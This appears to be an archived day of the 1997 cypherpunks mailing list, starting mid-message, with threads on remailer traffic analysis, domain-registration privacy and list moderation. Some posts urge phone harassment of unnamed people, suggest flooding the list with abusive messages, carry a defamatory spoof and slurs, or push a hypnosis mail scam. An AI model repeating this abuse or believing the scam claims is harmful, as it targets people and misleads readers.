-> alt.drugs.and-other-various-horsemen This chain is weak indeed. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMvwyI8kz/YzIV3P5AQE6JgL/RJ9Y3GmZl2mQ0dK9tVtaZG7OW33xKHqV Ur9fQt3Yms19bCbq+bAWoeNC5ZPjXESCtGigPW3VmXVjCd4igPepk25dtzR1OcL+ In/0n9QcRqDvmupZFFdldY62orGQyVEm =JIWK -----END PGP SIGNATURE----- From jer+ at andrew.cmu.edu Sat Feb 8 00:10:48 1997 From: jer+ at andrew.cmu.edu (Jeremiah A Blatz) Date: Sat, 8 Feb 1997 00:10:48 -0800 (PST) Subject: anonymous remailers Message-ID: <199702080810.AAA13064@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Andrew Loewenstern writes: > Charley Musselman writes: > > Does anyone know the answer? Specifically, how can we choose > > a trusted remailer? > > The answer is to run your own remailer. Make sure your chain includes your > remailer at least once. If you can't trust yourself, who can you trust? Ummm, if you run your own remailer, and don't get lots of people to use it, then traffic analysis will reveal that you are the sender quite quickly. It will pretty much make everything in the chain before your remiler useless. If you send your message through remailers a, b, c, and d like this: you -> a -> b -> c -> d -> alt.drugs.and-other-various-horsemen and only you use c, then your effective chain is: someone who could only be you -> d -> alt.drugs.and-other-various-horsemen This chain is weak indeed. Jer "standing on top of the world/ never knew how you never could/ never knew why you never could live/ innocent life that everyone did" -Wormhole -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQB1AwUBMvwyI8kz/YzIV3P5AQE6JgL/RJ9Y3GmZl2mQ0dK9tVtaZG7OW33xKHqV Ur9fQt3Yms19bCbq+bAWoeNC5ZPjXESCtGigPW3VmXVjCd4igPepk25dtzR1OcL+ In/0n9QcRqDvmupZFFdldY62orGQyVEm =JIWK -----END PGP SIGNATURE----- From harka at nycmetro.com Sat Feb 8 00:15:37 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Sat, 8 Feb 1997 00:15:37 -0800 (PST) Subject: NYC meeting? Message-ID: <199702080816.DAA01807@linux.nycmetro.com> -----BEGIN PGP SIGNED MESSAGE----- Hi there, are there any Cypherpunks-Meetings in NYC? Ciao Harka -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAwUBMvw4/DltEBIEF0MBAQEHXwf8D93/Y2XUteMNha8/sISuETEHz5U+t1Jo P27CX706L6qidSxUU8ytMLERAjpIw1khId6DBm/XiHNCS7lSR4PPLs3iW+wJRWTf 1OslxP8c7QuXLsr8QwFQQJ8S9BfYPMN08Kev9hUd7zX7tZJV6DToKe4msROME7Wx s5weFEpsRqUDH44c0fsDdo5486vuoSuqCmbfhfKqhvR4PwErwxLHoQ4AvUyj3YfL jSkt5QJFbA1iMDOQQBh4N/gKS0qsIUotDLtI+gLb7RI4828wF87M4pJLwyqOIohS oiV1PFWQx4n1gmG2kZh3PbkXYlOU1dzDwS6nDNx1ZR9mjdTiZ+cWdQ== =Cnr+ -----END PGP SIGNATURE----- From stewarts at ix.netcom.com Sat Feb 8 00:44:00 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sat, 8 Feb 1997 00:44:00 -0800 (PST) Subject: Privacy Problems with the IAHC New TLD Report SLD Policies In-Reply-To: <199702052017.PAA24113@smarty.smart.net> Message-ID: <3.0.1.32.19970208004306.00645118@popd.ix.netcom.com> The International Internet Ad-Hoc Committee released its report on new Top Level Domains for the Internet. It's interesting, and resulted from much political wrangling and religious conflict, and for the most part I think it's taking a reasonable approach to the problems, and I'm certainly not going to go postal like Postmaster Karl Denninger :-) A few particularly nice features: - .nom TLD, for name-based domains - Multiple registrars per name space, reducing the monopoly problem - trying to keep governments or PTTs from controlling it, though it's a bit big-business oriented for stability reasons. Mostly I wasn't worried, because sensible people were going to make sure they didn't do anything totally disastrous. Apparently I _should_ have been watching more closely, because the SLD _Second_ Level Domain part has some policies that seriously interfere with the privacy of potential domain name users. References and long quotes are below... To a large extent, they've been trying to avoid getting stuck in trademark problems by collecting lots of information and defining jurisdiction. In the process, they're asking you to sign away your first-born child in return for getting your name in the Yellow Pages(tm), and they're requiring all the Registrars to reject your application unless you do. The rules are especially inappropriate for the .nom domain, which is for personal names and such, and don't need overkill. There's a place for serious high-value commerce behaviour, and much of this isn't too inappropriate for .firm - but even that ignores the radical communication-pushed changes in the economy that make everybody able to run a worldwide business. It's not just that they want your email address (highly reasonable) or your phone and physical address (ought to be optional) or your IP address (they don't ask) or domain name (ok) or digital or written signature. It's not even just obnoxious things like demanding that you swear (against _my_ religion...) to a bunch of things, like "the reason for requesting this particular domain name" or what you're planning to do with the domain name (perfectly reasonable things to ask for as optional extras, and business may want to reveal these, but "Decline to State" or "" or "MYOB" are perfectly reasonable responses.) It's things like designating an agent for service of process, and "submits to the personal and subject matter jurisdiction and venue of a competent tribunal in the country where the registrar resides". Aside from believing that you ought to be able to choose what governments, if any, you're going to subject yourself to, I'd also expect that this would be annoying to people who don't live in one of the <=28 countries that get Registrars in them. And certainly if you're going to designate someone as an agent for service of process (you can use the Registrar) there'd better be some contractual language available so you can tell what you're swearing to. Is it reasonable to have a policy that users need to indicate how they'd like to receive communications about name and trademark disputes? Sure. And that they hold the Registrar harmless in such disputes? Probably. And which dispute resolution organization they're willing to have resolve disputes over names (a _much_ milder statement than "submit to personal and subject matter jurisdiction"....)? Yeah, even if the default is "the Registrar can disconnect your name if you don't respond to trademark complaints in N days." Certainly the Registrar ought to have some options here. ======================== REFERENCES =================================== The Final Report is at http://www.iahc.org/draft-iahc-recommend-00.html (nice name for a "final" report :-) The Application Forms for SLDs aren't in the draft on the web page, so I'm assuming they're referring to something similar to the December draft's Appendix. Mailing list archives are at http://www.iahc.org/iahc-discuss/ ========================================================================== QUOTES FROM THE REPORT ========================================================================== 6.1.5 Second-Level Domains SLD application Application for a second-level domain name must include: Sufficient contact and intended use information Appointment of an agent for service of process Agreement to jurisdiction in the event of trademark litigation. Mediation and arbitration clause (discussed in a later section) A separate document entitled "SLD Applications" (see section 1.4) contains the information that must be included in a SLD application. Applications submitted electronically must include state of the art electronic identification; written applications must be signed by the applicant, if an individual, or by an officer or other legally authorized representative if the applicant is an entity. Renewal and non-use To promote accountability, discourage extortion and minimize obsolete entries, SLD assignments must be renewed annually. Appendix B, attached, includes the information that must be included in a renewal application. Renewal applications submitted electronically must include state of the art electronic identification; written renewal applications must be signed by the applicant, if an individual, or by an officer or other legally authorized representative if the applicant is an entity. In addition to requiring annual renewal, CORE will develop policies to ensure the recovery of sub-domains which no longer have an authoritative source (lame delegations). 6.2 Discussion In order to ensure consistency of basic service across registrars, certain information is required in all applications for SLDs under gTLDs. It is desirable that a domain name application include sufficient information regarding the applicant and the applicant's intended use of the domain name to ensure applicant accountability and to ensure that sufficient information is available to enable trademark owners to assess the need for a challenge to the proposed SLD domain. ================= [more stuff] ================================================ 7.1.3 Publication All applications for SLDs in the gTLDs will be published on a publicly available, publicized web site, immediately upon receipt by the registrar. Such publication entries will include: Name of the SLD; Contact and use information contained in the application; A permanent tag or label (created by CORE) indicating whether the applicant chose the option of waiting 60 days prior to assignment of the requested SLD or chose to forego the 60 day wait; Entry validation using accepted digital signature and timestamping techniques. Those applicants choosing not to wait will not be in a position to claim the defensive benefit of the waiting period against a challenge, at any time, by a trademark owner. =================================================== ======================================================================= APPENDIX FROM DRAFT - SLD APPLICATION REQUIREMENTS ======================================================================= 11.1 Appendix A - SLD Application Requirements Every application for assignment of a SLD must include the following elements (incomplete applications must be returned to the applicant for completion): 1.Applicant's name, business or residential address, email address, fax and phone number(s). 2.The state or country of incorporation or partnership (if applicable). 3.The name and address of a designated agent for service of process where the registrar is located, which may be the applicant in the case of an individual. (The applicant may designate the registrar as the agent for service of process.) 4.A sworn statement by the individual applicant or by an officer or general partner of a corporate or partnership applicant: 1.that there is a bona fide intent to use the domain name publicly within 60 days of registration, and a bona fide intent to continue such use in the foreseeable future; 2.that the domain name will be used for [fill in the blank, e.g., "for a web site to advertise applicant's candy manufacturing business"]. This may be a broad statement and is not intended in any way to restrict actual use. However, to the extent that a commercial use is intended, this statement should identify the industry in which the use is intended to be made and should indicate which of the following uses will be made: web site, email, bulletin board and/other describe); 3.that the applicant believes that the intended use of the domain name will not infringe any rights of any other party; 4.that the reason for requesting this particular domain name is that it conforms to [check one of the following]: ___ applicant's company name or variation thereof ___ applicant's trademark or variation thereof ___ individual applicant's name or variation thereof ___ other (provide full explanation) 1.that the applicant submits to the personal and subject matter jurisdiction and venue of a competent tribunal in the country where the registrar resides for purposes of any action brought under trademark law, unfair competition laws, or similar/related laws arising out of actual or intended use of the domain name applied for; and applicant waives all rights to challenge such personal jurisdiction, subject matter jurisdiction and/or venue. ============================================================================ ======== # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From stewarts at ix.netcom.com Sat Feb 8 01:12:06 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sat, 8 Feb 1997 01:12:06 -0800 (PST) Subject: Successfully Routing Around Censorship In Italy Message-ID: <3.0.1.32.19970208010916.006169f0@popd.ix.netcom.com> In Cu Digest, #9.07 -- see Cu Digest Homepage: http://www.soci.niu.edu/~cudigest/ * is a nice article on how an Italian mailing list was blocked by the University bureaucracy. LISA (Lista Italiana Sull'Accesso a Internet) is "an unmoderated area devoted to discussion about social, cultural and economic aspects related to the development of the Internet in Italy." Two days later they were up and running on a machine in Utah. > Choosing censorship instead of an open debate is > something we will never be willing to silently accept. > Laura Caponi > Owner of LISA > Lista Italiana Sull'Accesso a Internet * This issue isn't on the web page quite yet.... # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From attila at primenet.com Sat Feb 8 01:29:08 1997 From: attila at primenet.com (Attila T. Hun) Date: Sat, 8 Feb 1997 01:29:08 -0800 (PST) Subject: faulty moderation software: duplicate messages In-Reply-To: Message-ID: <199702080928.CAA23787@infowest.com> -----BEGIN PGP SIGNED MESSAGE----- on or about 970207:1759 "Mark M." said: +All messages with "Sender: owner-cypherpunks-unedited at toad.com" are +received from the flames list. The difference between the unedited and +moderated lists is that the moderated list changes the message ID, +appending toad.com, and deletes all received headers before +"majordom at localhost.*by toad.com". None of the messages are being +doubled; this is just the result of buggy software if you receive both the unedited and the censored plus flames, each message should be doubled --unedited sends all messages, but fails to always mark them in sender -basically, you need to key on the fact the Message-ID is NOT .... at toad.com for the unedited file no, I dont have a problem with that, it is just stupid on toad's part (John?) to not correctly identify the pass through messages with 'Sender: owner-cypherpunks-unedited at toad.com' --a few are, but the vast majority are still shipped out as 'Sender: owner-cypherpunks at toad.com' (and the 'Received' chain as I pointed out in my original post). to me that is piss poor list management. unfortunately, I can not use procmail at this point on my mail reader platform, but the internal filters are multilevel and do allow enough flexibility. I use procmail extensively on my host for autobots, spam filtering, objectional posters filtering, etc. I think you probably have an error in your procmail script as to sending 'unedited' to flames. the theory stated is: mainline (censored) + flames == unedited but I will not test it since I prefer to read/respond off line with MR/2 than Pine online. I will request Nick Knight for the construction of his folders (except he has no lock mechanism) and I might write a PPP POP3 mail recovery program, pass it through procmail which passes it to a function to write it to MR/2's folders. however you slice it, censorship on a freedom of speech list just does not make it and we make fools of ourselves if we think otherwise. -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMvxHR704kQrCC2kFAQFQyAP+LXpWz1bFoGAs2tu+stR4YD8OBbRPv8cO /vLuf/oB6auYCI3I4mx1raPEFmg0Ul7dKf7Z9hINukkLbjMQtK4exCSlXeDK7kyz 2N6IbUYviauCHr2CM5w/kZ6GBKiajCfa+QysoKLIfrHGr35WUrSY+as/5cJ4XtYQ c+yw9WLbIuk= =B67K -----END PGP SIGNATURE----- From bs-org at c2.net Sat Feb 8 02:13:45 1997 From: bs-org at c2.net (bs-org at c2.net) Date: Sat, 8 Feb 1997 02:13:45 -0800 (PST) Subject: lead remailer is shut down Message-ID: <1.5.4.16.19970208101434.1127491c@c2.net> At 21:42 1997-02-07 -0800, Bill Stewart wrote: >Raph's remailer list is at > http://www.cs.berkeley.edu/~raph/remailer-list.html >and indicates lots of different remailer features, >including whether they accept or require PGP, >and what reliability they've been getting recently. Thanks, and it worked too... > >The remailer that was shut down was the remailer named "lead"; >you may have noticed that your reply went to a machine named "zinc"..... > >At 11:56 PM 2/7/97 +0100, you wrote: >>Can anybody give me the address of reliable remailer which accepts >>pgp messages. >> >>BTW which remailer was shut down and why? >> >> >> >> >> >> >> > ># Thanks; Bill ># Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com ># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp ># (If this is a mailing list, please Cc: me on replies. Thanks.) > > From aga at dhp.com Sat Feb 8 02:29:34 1997 From: aga at dhp.com (aga) Date: Sat, 8 Feb 1997 02:29:34 -0800 (PST) Subject: WANTED: Tolerant, anonymity-friendly news admins 1.03 In-Reply-To: <19970207180418.28980.qmail@anon.lcs.mit.edu> Message-ID: On 7 Feb 1997, lcs Remailer Administrator wrote: > aga writes: > > > Who attacked the network and for what reason? > > Well, as best I can tell I've gotten caught in the crossfire of a > spam/"anti-spam" spam war. People are forging articles through > anonymous remailers to solicit spam to non-spamming customers of > "spam-friendly" ISPs, in the hopes of driving those customers away. > In other words, a lot of articles are being posted to groups like > alt.make.money.fast with headers like: > > From: customer at isp.under.attack (My^ISP^spams^I^should^switch) > > Then the spam bots collect the addresses, and send lots of mail like > > To: customer at isp.under.attack (My^ISP^spams^I^should^switch) > Subject: Great opportunity!!! > > My^ISP^spams^I^should^switch, > > I saw your post the other day, and have an oportunity for you that's > so good you can't miss it... > > It would be amusing if it weren't causing me hassles. Ultimately, > however, the person doing this is clearly trying to get ISPs to set > more restrictive policies about what mail/news customers can send, Well, that is bullshit, and that person needs to be stopped. Anyone trying to get more restrictive policies needs weeded out and identified, and then dealt with. > while knocking off a few anonymous remailers and mail2news gateways in > the process. > > > Well, just who is cutting you off and for what reason? > > And what is their telephone number? > > At issue here are a number of complicated high-level administrative > issues. It's not just that someone is trying to pull the plug on me. > I've been asked by someone who is not the one getting the phone calls > or exerting anti-mail2news pressure if I would stop using MIT news > servers. The reason is that that person needs to maintain good > relations with the people who are being harassed over the fogery. > Just who is getting harassed over this. All you need to do is get me the names and phone numbers, and we will eliminate this problem immediately. > I don't really want to go into details. No, do not do it in this list, but respond by a private response to this address. This is a place you can trust. The point is that this > situation is a lot more subtle than whether the pro-mail2news people > can "out-harrass" the people complaining about forgeries. Therefore, > I would sincerely appreciate it if you did not try to make any phone > calls or do anything to use up any more of these people's time. Well, it sounds like you are being a chicken shit now. The whole world runs on the telephone, and it all runs by voice, and not by text. I > fully intend to keep mail2news running, and am just trying to get more > news servers (after having lost one) to maintain reliability and > strengthen my position. > > > Just what is your definition of "abuse?" > > This got answered in a separate message. > yes it did. But why the fuck do you not want to find out who did this to you? I mean, Jesus fucking CHRIST! Let's get some fucking balls here. You can not let that mothetfucker get away with that! All you need is telephone numbers for some VERY nice phone calls. Learn to use your voice and not just your keyboard. From attila at primenet.com Sat Feb 8 02:31:16 1997 From: attila at primenet.com (Attila T. Hun) Date: Sat, 8 Feb 1997 02:31:16 -0800 (PST) Subject: censorship and headers Message-ID: <199702081029.DAA24646@infowest.com> -----BEGIN PGP SIGNED MESSAGE----- the "message" example which follows is obviously a message which should have been destinated for owner-cypherpunks-flame. there is absolutely no indication of the differentation and the header shows: Sender: owner-cypherpunks at toad.com when it should have shown: Sender: owner-cypherpunks-edited at toad.com let's put it this way, if cp is to be censored, might as well do the job correctly as this message was dumped into the main list. regardless, censoring what is supposed to be the free speech defenders of the online world is a poor example of our toleration for differing viewpoints, regardless of their alledged stupidity or off-topic value, or lack of value. So far, cypherpunks is showing less tolerance for freedom of speech that the United State Supreme Court. You all know something I dont? or do I need to start cleaning and oiling real soon? --attila +Received: from toad.com (toad.com [140.174.2.1]) + by primenet.com (8.8.5/8.8.5) with ESMTP id FAA10780 + for ; Fri, 7 Feb 1997 05:23:55 -0700 (MST) +Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id +EAA21727; Fri, 7 Feb 1997 04:19:54 -0800 (PST) Received: from +sirius.infonex.com (root at sirius.infonex.com [206.170.114.2]) by +toad.com (8.7.5/8.7.3) with ESMTP id EAA21718; Fri, 7 Feb 1997 +04:19:47 -0800 (PST) Received: from mail.infonex.net +(dfbfl4-37.gate.net [199.227.103.228]) by sirius.infonex.com +(8.7.3/8.7.3) with SMTP id EAA26850 for cypherpunks at toad.com; Fri, 7 +Feb 1997 04:19:33 -0800 (PST) Message-Id: +<199702071219.EAA26850 at sirius.infonex.com> Date: Friday, 07 Feb 97 +07:19:25 EST +To: cypherpunks at toad.com +From: winsock at rigel.cyberpass.net (WinSock Remailer) +X-Mailer: WinSock Remailer Version ALPHA1.3 +X-Comments: - +X-Comments: This message is NOT from winsock at rigel.cyberpass.net. It +was X-Comments: remailed by an automated anonymous remailer. +X-Comments: - +X-Comments: SEND ALL COMPLAINTS AND BLOCKING REQUESTS DIRECTLY TO: +X-Comments: REOP-L at cornell.edu +X-Comments: - +X-Comments: WinSock Remailer (winsock at rigel.cyberpass.net) +X-Comments: http://www.cyberpass.net/~winsock/ X-Comments: - +X-Remailer-Setup: Maximum Message Size -- None +X-Remailer-Setup: Reordering is ON, Mail Poolsize is 3 +X-Remailer-Setup: News Posting DISABLED +X-Remailer-Setup: Subject Header KILLED +X-Remailer-Setup: Logging OFF +X-Remailer-Setup: All messages must be PGP encrypted +Subject: Re: Sphere packings +Sender: owner-cypherpunks at toad.com +Precedence: bulk +X-UIDL: e2bae6a70f8b97f156939d711ba124ba -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMvxVZr04kQrCC2kFAQG7TwP/XI3wSXvMUgYdIqyjrXUN5CT5W/XVONqF jOfGDNxeTj+UbvIGuMzfcdxZB0X2lMCm8IptXncDfQgULIt6Fex9xfBmrlr1F12G xdnZKwoU9QUga27UX1Lyfw3V8uJYgx10h1o1/54CPAoFJVBhWwA5aI6RL/7hvoeI E/l3Tx9iIyE= =djYo -----END PGP SIGNATURE----- From paul at fatmans.demon.co.uk Sat Feb 8 02:49:06 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Sat, 8 Feb 1997 02:49:06 -0800 (PST) Subject: unimbibing Message-ID: <855398161.106230.0@fatmans.demon.co.uk> > I have been trying to get off this list for nearly a week now. The instructions given in the welcome message don't work. > Get me off this list now.! > I joined to learn about cryptography, not listen to some socially retarded juveniles argue over who's got the biggest dick. I participate in this list to discuss cryptography and related issues. If you have been reading posts discussing large genitalia you are probably confusing list traffic with private email from your gay friends. Here are instructions telling you how to unsubscribe: To unsubscribe from the cypherpunks mailing list: Send a message to majordomo at toad.com with the *MESSAGE BODY* reading exactly as follows: unsubscribe cypherpunks you at your.domain.com Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From TheSecret at WORLD.STD.COM Sat Feb 8 03:24:30 1997 From: TheSecret at WORLD.STD.COM (TheSecret at WORLD.STD.COM) Date: Sat, 8 Feb 1997 03:24:30 -0800 (PST) Subject: A WONDERFUL "FREE GIFT" FOR YOU ! Message-ID: <199702081123.DAA16380@mail-gw.pacbell.net> (Please accept our sincere apology for sending this e-mail to you. But, we really do have a wonderful Free gift for you. ,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,, Once you are mailed this letter, your e-mail address is automatically REMOVED from our data base and you will NOT receive any more mail from us again). * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * Dear Friend: We are about to mail you an exciting and wonderful gift, and yes it's free, absolutely Free! There is no catch or any kind of strings attached to it. And don't worry, we are NOT even asking you to buy or to sell anything to receive this Free gift from us. All you have to do is to request for it. Please read the following and we will tell you where and when you can pick up your Free gift from. First find out what it is and you will definitely Thank us a million times once you receive this gift. This is mind boggling, this is amazing, this is powerful. This gift will astound you beyond your wildest imagination! Use this gift for FUN, use it to ENTERTAIN your friends/family, use it for your own BENEFITS or use it for the benefit of others or use it even to MAKE MONEY. But please, whichever way you use it, DO NOT mis-use the power of this wonderful gift!!! WHAT'S INSIDE THIS FREE GIFT: A very powerful "Secret Hypnosis System". The secrets which have been kept sealed behind the iron door for over 90 years. Only few people know about this in the whole world. These secrets NEVER revealed to general public before. You have probably seen this on national TV, on many talk shows or probably heard about this in the past on the radios. But they NEVER revealed to you the secret of 'HOW TO DO THAT' ! We are now ready to break the seal and reveal the entire secret for the very first time to only few selected people like yourself. So you all can enjoy, have more fun in life and also benefit from it. And we have made this available for you at NO COST to you! Now, find out what this Free gift of 'Secret Hypnosis System' can do for you before you send in your request. This may not be for you, but find out anyway. YOU WILL BE SURPRISED: ***** Learn within hours, how to hypnotise anyone, anywhere, anytime and in any situation; ***** Make things you desire appear in your life seemingly out of thin air; ***** Make the man or woman of your dreams appear before your eyes; ***** Create Riches & Abundance, make your fortune in actual cash piled up right before your eyes; ***** Make others work for you and actually go out of their way to help you and to please you; ***** Raise your Mental Powers & I.Q. from that of an ordinary person to that of a Genius in minutes; ***** Give yourself & others the power of Healing, treat and eliminate any pain or sufferring; ***** Get rid of any bad habbits; ***** Win the heart of anyone you desire, whether it be for the good of your personal life, jobs or your business; ***** Look into your Near Future and find out what lies ahead of you; ***** PLUS MUCH MUCH MORE ***** These are some of the benefits of this very powerful and THE ONLY 'SECRET HYPNOSIS SYSTEM' in the world. All secrets are explained with easy step by step instructions and illustrations. You need NOT spend 5-10 years to study to become a Psycho- logist or a Hypnosis Expert. It's all right here for you!!! We know you are probably saying to yourself 'Ohh, come on, how could all these be possible, right ? Well, wait till you receive this amazing gift. When we first found out about this, our reaction was the same too but after we used and applied the secrets it was like 'Heaven came to Earth' !!! It's so realistic, it will blow you away! It will sweep you off your feet!! This will put you on the road to a New Life!!! But now you probably wondering why we are giving this powerful Secret Hypnosis System away for Free when we can easily charge anywhere from $500 to $1,000 per person for this. Well, have you heard of 'GOOD SAMARITAN' ? That's it and that's all you need to know. It's our way of saying 'HAPPY VALENTINE'S DAY' !!! The surprising thing is that you can easily master some of the secret techniques within just a few hours and the entire secret system within 2-4 days only. You DO NOT need any special education or any tech- nical training for this --- none whatsoever! Tha's why we said in the begining ...... 'this is amazing, this is mind boggling, this is powerful'. In fact, this is VERY VERY POWERFUL!!! We are giving away this billion dollar secrets for FREE to the first 750 people or until February 20, 1997, whichever comes first. So hurry up and send in your request today! On a piece of paper, please write down your name and your mailing address VERY CLEARLY and mail it to the following address. The entire secret Hypnosis System will be mailed to you immediately. ((( DO NOT respond via e-mail. We are NOT equipped to accept any e-mail of any kind ))). Please also remember, we are giving you this billion dollar secret for Free and we demand NOTHING in return. However, we ask that you have the Courtesy to cover small postage/shipping charge for mailing this package out to you. So PLEASE MAKE SURE you enclose $ 3 check/money order with your name and address otherwise your request will NOT be fulfilled. (Request from overseas must enclose $10, including canada) Please make check/money order payable to DIAMOND INT. We are NOT responsible for the lost envelope containing cash. SO PLEASE DO NOT SEND CASH ! *** Enjoy the Good Life and have more Fun in life than you ever imagined *** Mail your request to : DIAMOND INTERNATIONAL 7510 SUNSET BL; SUITE # 334 LOS ANGELES, CA.90046 ********************************** E N D ********************************************* From nobody at huge.cajones.com Sat Feb 8 04:16:11 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Sat, 8 Feb 1997 04:16:11 -0800 (PST) Subject: Montgolfiering Spoof Message-ID: <199702081216.EAA25951@mailmasher.com> Desperado Vampire K]ock[ Of The Month died of AIDS last night with his prepubescent lover. \\\ (0 0) _ooO_(_)_Ooo____ Desperado Vampire K]ock[ Of The Month From action at answerme.com Sat Feb 8 04:50:10 1997 From: action at answerme.com (action at answerme.com) Date: Sat, 8 Feb 1997 04:50:10 -0800 (PST) Subject: $$ THE 30 SECOND COMMUTE $$ Message-ID: <199702081250.EAA16690@toad.com> Hello,^Morons, Date: Sat, 8 Feb 1997 06:54:22 -0600 Message-Id: <12542268500622 at sitegen.net> WELCOME TO THE 30 SECOND COMMUTE...45, IF YOU GRAB SOME COFFEE! Let's take a trip back to 1950 and imagine that my name is Ray Crock and I want to tell you about a little restaurant named McDonald's. If you had bought the stock that I was selling then, you'd certainly be doing the 30 second commute now!! Seriously, had you bought that stock then, it would've been the right decision. Fact is, it's 1997, I don't own McDonald's corporation and I'm not selling anything. What I want to know is: 1. Would you spend 3 or 4 minutes a day to make $300 or $400 a week to spend on yourself and family? 2. Would you trade $100 for $600 ? 3. If you got promoted to president of the company, would you accept? 4. Would you make the right decision now, if you had to? 5. Would you e-mail me to see how you can do the 30 second commute? mailto: action at answerme.com Matt Emerson Toll Free: 1 800-976-8608 Fax: 602 641-3514 InterNet Address: http://www.rb-dist.com From bubba at dev.null Sat Feb 8 06:23:13 1997 From: bubba at dev.null (Bubba ROM DOS) Date: Sat, 8 Feb 1997 06:23:13 -0800 (PST) Subject: In-Reply-To: <199702062311.PAA02460@toad.com> Message-ID: <32FC645C.7828@dev.null> steve wrote: > > I have been trying to get off this list for nearly a week now. The instructions given in the welcome message don't work. > Get me off this list now.! To unsubscribe, send 2,000 messages to cypherpunks at toad.com, with a message body that says, "John Gilmore is a cocksucker! (spit, fart)" This method has proven effective in the past. Bubba From bubba at dev.null Sat Feb 8 06:24:54 1997 From: bubba at dev.null (Bubba ROM DOS) Date: Sat, 8 Feb 1997 06:24:54 -0800 (PST) Subject: In-Reply-To: <199702062311.PAA02460@toad.com> Message-ID: <32FC6433.7713@dev.null> steve wrote: > > I have been trying to get off this list for nearly a week now. The instructions given in the welcome message don't work. > Get me off this list now.! To unsubscribe, send 2,000 messages to cypherpunks at toad.com, with a message body that says, "John Gilmore is a cocksucker! (spit, fart)" This method has proven effective in the past. Bubba From lharrison at mhv.net Sat Feb 8 07:18:52 1997 From: lharrison at mhv.net (Lynne L. Harrison) Date: Sat, 8 Feb 1997 07:18:52 -0800 (PST) Subject: lead remailer is shut down Message-ID: <9702081518.AA15999@super.mhv.net> -----BEGIN PGP SIGNED MESSAGE----- Mime-Version: 1.0 Content-Type: text/plain Content-Transfer-Encoding: 7bit To: cypherpunks at toad.com, cryptography at c2.net Date: Sat Feb 08 10:14:03 1997 > At 11:58 1997-02-07 -0800, Ed Falk wrote: > > > >Can't remailers be written with basic spam safeguards? I.e. no > >mass crossposts, limited # of posts by each individual client per > >day, etc.? > > Can anybody give me the address of reliable remailer which accepts > pgp messages. Winsock Remailer ************************************************************ Lynne L. Harrison, Esq. | "The key to life: Poughkeepsie, New York | - Get up; lharrison at mhv.net | - Survive; http://www.dueprocess.com | - Go to bed." ************************************************************ -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBMvyYOz5A4+Z4Wnt9AQFkXgP9GTsbnZsDmqlhHr7b18F3EQSiJ2QX3OdQ 45DBXL1m0e3+bAN89gFqfnBTvSf+7f4EvqcwzlVuv8FNzMhxD4+dLvw08TiszSvS 608N5Bx+3D3lI0HwPhGbcYlANtiJEN2JKxkzXO+gUF8Eb+DsgCb/iv2h4GLxmOOK a7oRUv/PzYg= =QdsB -----END PGP SIGNATURE----- From harka at nycmetro.com Sat Feb 8 07:25:47 1997 From: harka at nycmetro.com (harka at nycmetro.com) Date: Sat, 8 Feb 1997 07:25:47 -0800 (PST) Subject: NYC meeting? Message-ID: <199702081525.HAA18717@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Hi there, are there any Cypherpunks-Meetings in NYC? Ciao Harka -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAwUBMvw4/DltEBIEF0MBAQEHXwf8D93/Y2XUteMNha8/sISuETEHz5U+t1Jo P27CX706L6qidSxUU8ytMLERAjpIw1khId6DBm/XiHNCS7lSR4PPLs3iW+wJRWTf 1OslxP8c7QuXLsr8QwFQQJ8S9BfYPMN08Kev9hUd7zX7tZJV6DToKe4msROME7Wx s5weFEpsRqUDH44c0fsDdo5486vuoSuqCmbfhfKqhvR4PwErwxLHoQ4AvUyj3YfL jSkt5QJFbA1iMDOQQBh4N/gKS0qsIUotDLtI+gLb7RI4828wF87M4pJLwyqOIohS oiV1PFWQx4n1gmG2kZh3PbkXYlOU1dzDwS6nDNx1ZR9mjdTiZ+cWdQ== =Cnr+ -----END PGP SIGNATURE----- From ji at hol.gr Sat Feb 8 07:25:49 1997 From: ji at hol.gr (John Ioannidis) Date: Sat, 8 Feb 1997 07:25:49 -0800 (PST) Subject: is there a FAQ Message-ID: <199702081525.HAA18723@toad.com> > I am working on getting 3DES working (it's in the ipsec-0.4 code > base, but no doc on how to configure it!) now and could use more > documentation my self. Use the setsa program provided in the utils directory. Something along the lines of setsa esp 3des-md5 i key should do the trick. It was really a choice between distributing the code and lingering on it for a few more days until the docs were better, and I chose the first. Bsides, the source *is* the ultimate documentation :-) /ji From stewarts at ix.netcom.com Sat Feb 8 07:25:51 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Sat, 8 Feb 1997 07:25:51 -0800 (PST) Subject: Privacy Problems with the 